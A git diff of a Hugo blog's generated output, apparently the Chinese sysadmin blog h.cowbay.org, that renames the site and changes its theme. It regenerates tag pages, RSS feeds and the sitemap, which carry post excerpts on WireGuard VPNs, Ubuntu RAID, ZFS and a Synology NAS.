    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/synology/index.xml b/public/tags/synology/index.xml index 8fe3dcc7..3312d78d 100644 --- a/public/tags/synology/index.xml +++ b/public/tags/synology/index.xml @@ -1,10 +1,11 @@ - Synology on MCの飄狂山莊㊣ + synology on MC部落 https://h.cowbay.org/tags/synology/ - Recent content in Synology on MCの飄狂山莊㊣ + Recent content in synology on MC部落 Hugo -- gohugo.io + en-us Tue, 04 Dec 2018 10:25:19 +0800 @@ -30,9 +31,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> @@ -54,9 +53,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/themes/public/tags/synology/page/1/index.html b/public/tags/synology/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/synology/page/1/index.html rename to public/tags/synology/page/1/index.xml/index.html diff --git a/public/tags/timezone/index.html b/public/tags/timezone/index.html index 14d16702..2730f0f8 100644 --- a/public/tags/timezone/index.html +++ b/public/tags/timezone/index.html @@ -1,397 +1,471 @@ - - - - - - - - - - - Timezone | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + timezone + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    - - +
    + -
    - + + +
    + +
    +

    + Tag: timezone + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 21 May 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致

    + +

    有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的….

    + + +
    +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - - + diff --git a/public/tags/timezone/index.xml b/public/tags/timezone/index.xml index f3b1fd6d..8b48ea81 100644 --- a/public/tags/timezone/index.xml +++ b/public/tags/timezone/index.xml @@ -1,10 +1,11 @@ - Timezone on MCの飄狂山莊㊣ + timezone on MC部落 https://h.cowbay.org/tags/timezone/ - Recent content in Timezone on MCの飄狂山莊㊣ + Recent content in timezone on MC部落 Hugo -- gohugo.io + en-us Tue, 21 May 2019 17:25:15 +0800 diff --git a/public/tags/timezone/page/1/index.xml/index.html b/public/tags/timezone/page/1/index.xml/index.html new file mode 100644 index 00000000..9780ff09 --- /dev/null +++ b/public/tags/timezone/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/timezone/ \ No newline at end of file diff --git a/public/tags/ubuntu/index.html b/public/tags/ubuntu/index.html index eded616e..1a5d8226 100644 --- a/public/tags/ubuntu/index.html +++ b/public/tags/ubuntu/index.html @@ -1,549 +1,593 @@ - - - - - - - - - - - Ubuntu | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + ubuntu + + + + + + + + + + + + + + + + + + + + + + + + - - - - - + - + +
    + Skip to content + + +
    + +
    +

    + Tag: ubuntu + + + + rss + + +

    - - - -
    - -
    - - - - - -
    - - - - -
    -

    Ubuntu 1804 Install Root on Raid

    -
    - - - 2019-01-16 - - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 13 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    - +

    雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

    - - - - 筆記 - - - +

    完全沒辦法了解當時設計的邏輯,造成後續debug 困難

    - - Eric Chang - -
    +

    可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

    - -

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    +

    之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

    -

    因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

    +

    這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

    -

    結果在安裝過程中,做raid碰到一些問題,來紀錄一下

    + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 31 July 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近有個任務,需要大量安裝client

    -

    +

    想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

    - - - - -
    +

    然後選擇OS版本,就可以自動進行安裝

    - - +

    就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

    - +

    看似很簡單的一件事情,卻搞了我兩天….

    - -
    - -
    - - - - + + +
    +
    + + + + +
    + + + + + + + + +
    +
    + 11 March 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 16 January 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 16 January 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    - - - - 筆記 - - - +

    因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

    - - Eric Chang - -
    +

    結果在安裝過程中,做raid碰到一些問題,來紀錄一下

    - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    + + +
    +
    + + + + +
    + + + + + + + + +
    +
    + 08 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    @@ -557,265 +601,147 @@

    問題就發生在這台 Build Server 上…

    -

    + +
    +
    +
    +
    + + - - - - - + + + + + + - - + diff --git a/public/tags/ubuntu/index.xml b/public/tags/ubuntu/index.xml index ad1c0f57..dcacc265 100644 --- a/public/tags/ubuntu/index.xml +++ b/public/tags/ubuntu/index.xml @@ -1,10 +1,11 @@ - Ubuntu on MCの飄狂山莊㊣ + ubuntu on MC部落 https://h.cowbay.org/tags/ubuntu/ - Recent content in Ubuntu on MCの飄狂山莊㊣ + Recent content in ubuntu on MC部落 Hugo -- gohugo.io + en-us Tue, 13 Aug 2019 15:50:31 +0800 @@ -26,9 +27,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> @@ -51,9 +50,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> @@ -68,9 +65,7 @@ <p>可以很簡單快速的備份、恢復系統狀態</p> -<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> - -<p></p> +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> @@ -81,8 +76,7 @@ https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ <p>買了一張 DELL 6/iR 低階的raid 卡</p> -<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip; -</p> +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> @@ -95,9 +89,7 @@ <p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> -<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> - -<p></p> +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> @@ -118,9 +110,7 @@ <p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> +<p>問題就發生在這台 Build Server 上&hellip;</p> diff --git a/themes/public/tags/ubuntu/page/1/index.html b/public/tags/ubuntu/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/ubuntu/page/1/index.html rename to public/tags/ubuntu/page/1/index.xml/index.html diff --git a/public/tags/vim/index.html b/public/tags/vim/index.html index 448bad58..03c8c1a0 100644 --- a/public/tags/vim/index.html +++ b/public/tags/vim/index.html @@ -1,401 +1,475 @@ - - - - - - - - - - - Vim | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + vim + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: vim + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 07 December 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    因為工作的關係,現在很多時間都花在VIM的操作上

    - -
    - +

    所以之前花了滿多時間,調整出一個適合自己的VIM環境

    + +

    原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面

    + +

    然後每到一台新的機器,就要去clone 下來

    + + + +
    +
    +
    + +
    +
    + + + + + + - - + diff --git a/public/tags/vim/index.xml b/public/tags/vim/index.xml index d0163257..ec055aa4 100644 --- a/public/tags/vim/index.xml +++ b/public/tags/vim/index.xml @@ -1,10 +1,11 @@ - Vim on MCの飄狂山莊㊣ + vim on MC部落 https://h.cowbay.org/tags/vim/ - Recent content in Vim on MCの飄狂山莊㊣ + Recent content in vim on MC部落 Hugo -- gohugo.io + en-us Fri, 07 Dec 2018 15:19:47 +0800 @@ -22,9 +23,7 @@ <p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> -<p>然後每到一台新的機器,就要去clone 下來</p> - -<p></p> +<p>然後每到一台新的機器,就要去clone 下來</p> diff --git a/public/tags/vim/page/1/index.xml/index.html b/public/tags/vim/page/1/index.xml/index.html new file mode 100644 index 00000000..88f2b727 --- /dev/null +++ b/public/tags/vim/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/vim/ \ No newline at end of file diff --git a/public/tags/vpn/index.html b/public/tags/vpn/index.html index 947b4b81..c01f9323 100644 --- a/public/tags/vpn/index.html +++ b/public/tags/vpn/index.html @@ -1,311 +1,493 @@ - - - - - - - - - - - Vpn | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + vpn + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - -
    - - - - -
    +
    +
    + + + +
    +

    但是那台VPS連去ptt 很頓,卡卡的

    - -
    - -
    - - - - +

    所以改用google cloud platform 的free tier 來做

    - +
    + + + + + +
    + + + + + + + + +
    +
    + 13 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    -
    -

    [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

    -
    - - - 2019-08-06 - - +

    雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

    - +

    完全沒辦法了解當時設計的邏輯,造成後續debug 困難

    - - - - 筆記 - - - +

    可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

    - - Eric Chang - -
    +

    之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

    - -

    之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

    +

    這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

    + + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 06 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

    然後用strongswan 來打 IPSEC site to site VPN

    @@ -325,265 +507,147 @@

    於是研究了一下,發現還真的很簡單!

    -

    + +
    +
    +
    +
    + + - - - - - - - - - - -
    - - -
    + + + + + - - + diff --git a/public/tags/vpn/index.xml b/public/tags/vpn/index.xml index 8afad022..be70424f 100644 --- a/public/tags/vpn/index.xml +++ b/public/tags/vpn/index.xml @@ -1,15 +1,31 @@ - Vpn on MCの飄狂山莊㊣ + vpn on MC部落 https://h.cowbay.org/tags/vpn/ - Recent content in Vpn on MCの飄狂山莊㊣ + Recent content in vpn on MC部落 Hugo -- gohugo.io - Fri, 16 Aug 2019 10:18:06 +0800 + en-us + Mon, 14 Oct 2019 13:59:58 +0800 + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + Mon, 14 Oct 2019 13:59:58 +0800 + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + <p>最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案</p> + +<p>就不小心發現了這個 streisand</p> + +<p><a href="https://github.com/StreisandEffect/streisand">https://github.com/StreisandEffect/streisand</a></p> + +<p>玩了一下,發現這根本就是終極的VPN Server solution ..</p> + + [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP https://h.cowbay.org/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/ @@ -28,9 +44,7 @@ <p>所以改用google cloud platform 的free tier 來做</p> -<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> - -<p></p> +<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> @@ -49,9 +63,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> @@ -78,9 +90,7 @@ <p>今天看到文章說用wireguard 可以更簡單</p> -<p>於是研究了一下,發現還真的很簡單!</p> - -<p></p> +<p>於是研究了一下,發現還真的很簡單!</p> diff --git a/themes/public/tags/vpn/page/1/index.html b/public/tags/vpn/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/vpn/page/1/index.html rename to public/tags/vpn/page/1/index.xml/index.html diff --git a/public/tags/wireguard/index.html b/public/tags/wireguard/index.html index 37f7835e..411e2718 100644 --- a/public/tags/wireguard/index.html +++ b/public/tags/wireguard/index.html @@ -1,224 +1,437 @@ - - - - - - - - - - - Wireguard | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + wireguard + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - -
    - - - - -
    +
    +
    + + + + +
    + +

    What’s the Worst That Could Happen?

    + -
    - - -
    - - - -
    - +
    - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/wireguard/index.xml b/public/tags/wireguard/index.xml index b57b9e63..d64d2820 100644 --- a/public/tags/wireguard/index.xml +++ b/public/tags/wireguard/index.xml @@ -1,15 +1,31 @@ - Wireguard on MCの飄狂山莊㊣ + wireguard on MC部落 https://h.cowbay.org/tags/wireguard/ - Recent content in Wireguard on MCの飄狂山莊㊣ + Recent content in wireguard on MC部落 Hugo -- gohugo.io - Fri, 16 Aug 2019 10:18:06 +0800 + en-us + Mon, 14 Oct 2019 13:59:58 +0800 + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + Mon, 14 Oct 2019 13:59:58 +0800 + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + <p>最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案</p> + +<p>就不小心發現了這個 streisand</p> + +<p><a href="https://github.com/StreisandEffect/streisand">https://github.com/StreisandEffect/streisand</a></p> + +<p>玩了一下,發現這根本就是終極的VPN Server solution ..</p> + + [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP https://h.cowbay.org/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/ @@ -28,9 +44,7 @@ <p>所以改用google cloud platform 的free tier 來做</p> -<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> - -<p></p> +<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> @@ -49,9 +63,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> diff --git a/public/tags/wireguard/page/1/index.xml/index.html b/public/tags/wireguard/page/1/index.xml/index.html new file mode 100644 index 00000000..299ff7db --- /dev/null +++ b/public/tags/wireguard/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/wireguard/ \ No newline at end of file diff --git a/public/tags/zfs/index.html b/public/tags/zfs/index.html index 54d68e43..a034a37b 100644 --- a/public/tags/zfs/index.html +++ b/public/tags/zfs/index.html @@ -1,482 +1,523 @@ - - - - - - - - - - - Zfs | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + zfs + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - -
    - - - - -
    +
    +
    + + + +
    +
    + + + + + +
    + + + + + + + + +
    +
    + 01 April 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

    +

    想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate

    - -
    - - -
    - +

    可是一直出現device busy的錯誤訊息

    - -
    + + +
    +
    + + + - + - - + + + + + - - + diff --git a/public/tags/zfs/index.xml b/public/tags/zfs/index.xml index b610531b..b8ee28e9 100644 --- a/public/tags/zfs/index.xml +++ b/public/tags/zfs/index.xml @@ -1,10 +1,11 @@ - Zfs on MCの飄狂山莊㊣ + zfs on MC部落 https://h.cowbay.org/tags/zfs/ - Recent content in Zfs on MCの飄狂山莊㊣ + Recent content in zfs on MC部落 Hugo -- gohugo.io + en-us Fri, 06 Sep 2019 10:42:11 +0800 @@ -20,9 +21,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -35,9 +34,7 @@ <p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> -<p>可是一直出現device busy的錯誤訊息</p> - -<p></p> +<p>可是一直出現device busy的錯誤訊息</p> diff --git a/themes/public/tags/zfs/page/1/index.html b/public/tags/zfs/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/zfs/page/1/index.html rename to public/tags/zfs/page/1/index.xml/index.html diff --git a/public/tags/短今/index.html b/public/tags/短今/index.html index f860eedc..9255d0cd 100644 --- a/public/tags/短今/index.html +++ b/public/tags/短今/index.html @@ -1,390 +1,423 @@ - - - - - - - - - - - 短今 | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + 短今 + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    - - +
    + -
    - + + +
    + +
    +

    + Tag: 短今 + + + + rss + + +

    +

    Posts

    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + +
    + + + - - + diff --git a/public/tags/短今/index.xml b/public/tags/短今/index.xml index d14c9077..cd086ca9 100644 --- a/public/tags/短今/index.xml +++ b/public/tags/短今/index.xml @@ -1,10 +1,11 @@ - 短今 on MCの飄狂山莊㊣ + 短今 on MC部落 https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - Recent content in 短今 on MCの飄狂山莊㊣ + Recent content in 短今 on MC部落 Hugo -- gohugo.io + en-us Mon, 05 Nov 2018 07:46:53 +0800 diff --git a/themes/public/tags/短今/page/1/index.html b/public/tags/短今/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/短今/page/1/index.html rename to public/tags/短今/page/1/index.xml/index.html diff --git a/public/tags/筆記/index.html b/public/tags/筆記/index.html index a47f39e9..ab28bfd8 100644 --- a/public/tags/筆記/index.html +++ b/public/tags/筆記/index.html @@ -1,394 +1,493 @@ - - - - - - - - - - - 筆記 | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + 筆記 + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - - - - - + + + -
    -
    - - -
    - - - - -
    + +
    + +
    +

    + Tag: 筆記 + + + + rss + + +

    +
    -

    但是希望能夠不同team的人用不同的資料庫使用者

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 30 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    想做一個 10G 的 LAB 環境出來已經很久了。

    -

    這樣萬一出事,會比較好抓兇手??

    +

    只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

    -

    +

    如果直接在淘寶購買,很怕會買錯(什麼LC/FC LC/LC 多模單模 單芯雙芯 SFP/SFP+ 又是什麼光模塊的一大堆規格)

    - - - - -
    +

    所以一直沒有付諸行動。

    - - +

    就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到

    - +

    今天就花了點時間測試一下

    - -
    - -
    - - - - + + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 15 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 12 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - - - - 筆記 - - - +

    雖然都是在同一台機器上的同一個資料庫

    - - Eric Chang - -
    +

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    +

    這樣萬一出事,會比較好抓兇手??

    + + + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 08 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    @@ -402,80 +501,51 @@

    問題就發生在這台 Build Server 上…

    -

    - - - - - -
    - - - - - - - -
    - -
    - - - - - - +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 05 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 @@ -490,269 +560,147 @@

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet 所以導致明明檔案就在那邊,但是要取得就是很麻煩

    -

    + +
    +
    +
    +
    + + - - - - - + + + + + + - - + diff --git a/public/tags/筆記/index.xml b/public/tags/筆記/index.xml index 2937d2a6..53fe9566 100644 --- a/public/tags/筆記/index.xml +++ b/public/tags/筆記/index.xml @@ -1,10 +1,11 @@ - 筆記 on MCの飄狂山莊㊣ + 筆記 on MC部落 https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - Recent content in 筆記 on MCの飄狂山莊㊣ + Recent content in 筆記 on MC部落 Hugo -- gohugo.io + en-us Fri, 30 Nov 2018 16:05:14 +0800 @@ -32,9 +33,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> @@ -49,9 +48,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> @@ -66,9 +63,7 @@ <p>但是希望能夠不同team的人用不同的資料庫使用者</p> -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> +<p>這樣萬一出事,會比較好抓兇手??</p> @@ -89,9 +84,7 @@ <p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> +<p>問題就發生在這台 Build Server 上&hellip;</p> @@ -113,9 +106,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/themes/public/tags/筆記/page/1/index.html b/public/tags/筆記/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/筆記/page/1/index.html rename to public/tags/筆記/page/1/index.xml/index.html diff --git a/public/tags/群暉/index.html b/public/tags/群暉/index.html index 9d1a7649..b8b78f18 100644 --- a/public/tags/群暉/index.html +++ b/public/tags/群暉/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - 群暉 | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + 群暉 + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: 群暉 + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 04 December 2018 / + + + + + + + + + + + + / + + 群暉 + + +
    + +
    +
    +

    前幾天公司的一台 Synology DS 415+ 發生異常

    注意到的時候,四顆硬碟燈號都不斷的在閃爍

    @@ -147,267 +337,147 @@

    不過主管還是希望能夠先問群暉維修的費用多少

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/群暉/index.xml b/public/tags/群暉/index.xml index f13cd014..9e84c946 100644 --- a/public/tags/群暉/index.xml +++ b/public/tags/群暉/index.xml @@ -1,10 +1,11 @@ - 群暉 on MCの飄狂山莊㊣ + 群暉 on MC部落 https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ - Recent content in 群暉 on MCの飄狂山莊㊣ + Recent content in 群暉 on MC部落 Hugo -- gohugo.io + en-us Tue, 04 Dec 2018 10:25:19 +0800 @@ -30,9 +31,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> diff --git a/themes/public/tags/群暉/page/1/index.html b/public/tags/群暉/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/群暉/page/1/index.html rename to public/tags/群暉/page/1/index.xml/index.html diff --git a/public/tw/sitemap.xml b/public/tw/sitemap.xml index 8849d5d3..f4c47612 100644 --- a/public/tw/sitemap.xml +++ b/public/tw/sitemap.xml @@ -3,621 +3,563 @@ xmlns:xhtml="http://www.w3.org/1999/xhtml"> - https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ - 2019-10-04T14:12:15+08:00 + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + 2019-10-14T13:59:58+08:00 - https://h.cowbay.org/post/pg_auto_failover_in_ubuntu_1804_psql_11/ - 2019-09-20T10:17:17+08:00 + https://h.cowbay.org/author/ + 2019-10-14T13:59:58+08:00 + + + - https://h.cowbay.org/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd/ - 2019-09-10T14:37:09+08:00 + https://h.cowbay.org/categories/ + 2019-10-14T13:59:58+08:00 + + + - https://h.cowbay.org/post/postgresql-backup-restore-using-zfs-snapshot/ - 2019-09-06T10:42:11+08:00 + https://h.cowbay.org/author/eric-chang/ + 2019-10-14T13:59:58+08:00 - https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ - 2019-09-05T11:42:28+08:00 + https://h.cowbay.org/ + 2019-10-14T13:59:58+08:00 + + + - https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - 2019-08-23T14:54:13+08:00 + https://h.cowbay.org/post/ + 2019-10-14T13:59:58+08:00 - https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10/ - 2019-08-23T13:53:40+08:00 + https://h.cowbay.org/tags/ + 2019-10-14T13:59:58+08:00 + + + - https://h.cowbay.org/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/ - 2019-08-20T14:51:54+08:00 + https://h.cowbay.org/tags/vpn/ + 2019-10-14T13:59:58+08:00 - https://h.cowbay.org/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp/ - 2019-08-16T10:18:06+08:00 + 